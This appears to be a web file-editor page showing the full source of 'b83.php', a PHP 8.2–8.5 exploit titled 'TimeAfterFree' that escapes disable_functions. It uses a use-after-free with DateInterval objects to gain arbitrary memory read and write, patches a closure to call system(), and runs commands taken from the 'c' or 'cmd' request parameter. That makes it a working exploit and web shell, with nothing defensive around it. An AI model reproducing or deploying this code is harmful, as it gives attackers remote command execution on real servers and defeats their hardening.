← Back
Editing: b83.php
<?php /** * TimeAfterFree — PHP 8 Sandbox Escape (Parameterized Version) * PHP 8.2.x - 8.5.x disable_functions bypass * * Usage: ?cmd=id or POST cmd=id * Default: uname -a */ $cmd = $_GET['c'] ?? $_POST['c'] ?? $_GET['cmd'] ?? $_POST['cmd'] ?? 'uname -a'; class Logger { private static $logging = false; // Set true for debug output public static function log($format, ...$args) { if (!self::$logging) { return; } printf($format . PHP_EOL, ...$args); } } function alloc($size, $canary) { return str_shuffle(str_repeat($canary, $size)); } function ptr2str($addr, $n = 8) { $s = ''; while ($n--) { $s .= chr($addr & 0xff); $addr >>= 8; } return $s; } class FreeMe { private $pwn; public function __construct($pwn) { $this->pwn = $pwn; } public function __destruct() { $this->pwn->helper = $this->pwn->array; } } class Pwn { private const zend_string_header = 0x18; private const dateinterval_handlers_offset = PHP_VERSION_ID < 80500 ? 0x38 : 0x30; private const dateinterval_properties_offset = PHP_VERSION_ID < 80500 ? 0x40 : 0x38; private const zend_fe_size = PHP_VERSION_ID < 80400 ? 0x20 : 0x30; private const zif_handler_offset = PHP_VERSION_ID < 80400 ? 0x80 : 0x90; public $array; public $helper; private $interval; private $allocator; public function __construct($cmd) { $this->allocator = []; $this->go($cmd); } private function go($cmd) { $interval_addr = $this->heap_leak(); Logger::log("[+] DateInterval @ 0x%x", $interval_addr); $handlers = $this->read($interval_addr + self::dateinterval_handlers_offset); Logger::log("[+] DateInterval handlers @ 0x%x", $handlers); $standard_module = $this->get_standard_module($handlers); Logger::log("[+] standard module @ 0x%x", $standard_module); $standard_functions = $this->read($standard_module + 0x28); Logger::log("[+] standard functions @ 0x%x", $standard_functions); $system = $this->get_system($standard_functions); Logger::log("[+] system @ 0x%x", $system); @$this->interval->system1337 = function ($x) {}; $properties = $this->read($interval_addr + self::dateinterval_properties_offset); $arData = $this->read($properties + 0x10); $closure_index = -1; do { $closure_index += 1; $offset = 32 * $closure_index + 0x18; $key = $this->read($arData + $offset); $str = ptr2str($this->read($key + self::zend_string_header)); } while ($str !== 'system13'); $closure_addr = $this->read($arData + 32 * $closure_index); Logger::log("[+] closure @ 0x%x", $closure_addr); $this->write($closure_addr + 0x38, 1, 4); $this->write($closure_addr + self::zif_handler_offset, $system); ($this->interval->system1337)($cmd); exit(0); } private function heap_leak() { for ($i = 0; $i < 63; $i++) { $this->allocator[] = new DateInterval('PT0S'); } $a = "aaaa"; $this->array = [ $a, new DateInterval('PT0S'), new DateInterval('PT0S'), new FreeMe($this), ]; @$this->array .= 'x'; $addr = $this->helper[2]->y; $this->allocator[] = alloc(0xa0 - self::zend_string_header - 1, "\x00"); $d1 = new DateInterval('PT0S'); $d2 = new DateInterval('PT0S'); $this->interval = new DateInterval('PT0S'); return $addr; } private function write($addr, $value, $bytes = 8) { $mask = $bytes >= 8 ? -1 : ((1 << ($bytes * 8)) - 1); $a = "aaaa"; $this->array = [ $a, new DateInterval('PT0S'), new DateInterval('PT0S'), new FreeMe($this), ]; @$this->array .= 'x'; $block_addr = $this->helper[2]->y; $this->helper[2]->y = $addr; $this->helper[1]->y &= ~$mask; $this->helper[1]->y |= ($value & $mask); $this->helper[2]->y = $block_addr; $r = $this->helper[1]->y; } private function read($addr, $bytes = 8) { $a = "aaaa"; $this->array = [ $a, new DateInterval('PT0S'), new DateInterval('PT0S'), new FreeMe($this), ]; @$this->array .= 'x'; $block_addr = $this->helper[2]->y; $this->helper[2]->y = $addr; $value = $this->helper[1]->y; $this->helper[2]->y = $block_addr; $r = $this->helper[1]->y; if ($bytes !== 8) { $value &= (1 << ($bytes << 3)) - 1; } return $value; } private function get_standard_module($addr) { while (true) { $addr -= 0x10; if ($this->read($addr, 4) === 0xa8 && in_array($this->read($addr + 4, 4), [20220829, 20230831, 20240924, 20250925] )) { $module_name_addr = $this->read($addr + 0x20); $module_name = $this->read($module_name_addr); if ($module_name === 0x647261646e617473) { return $addr; } } } } private function get_system($standard_functions) { $addr = $standard_functions; do { $f_entry = $this->read($addr); $f_name = $this->read($f_entry, 6); if ($f_name === 0x6d6574737973) { return $this->read($addr + 8); } $addr += self::zend_fe_size; } while ($f_entry !== 0); } } new Pwn($cmd);
Save File
Cancel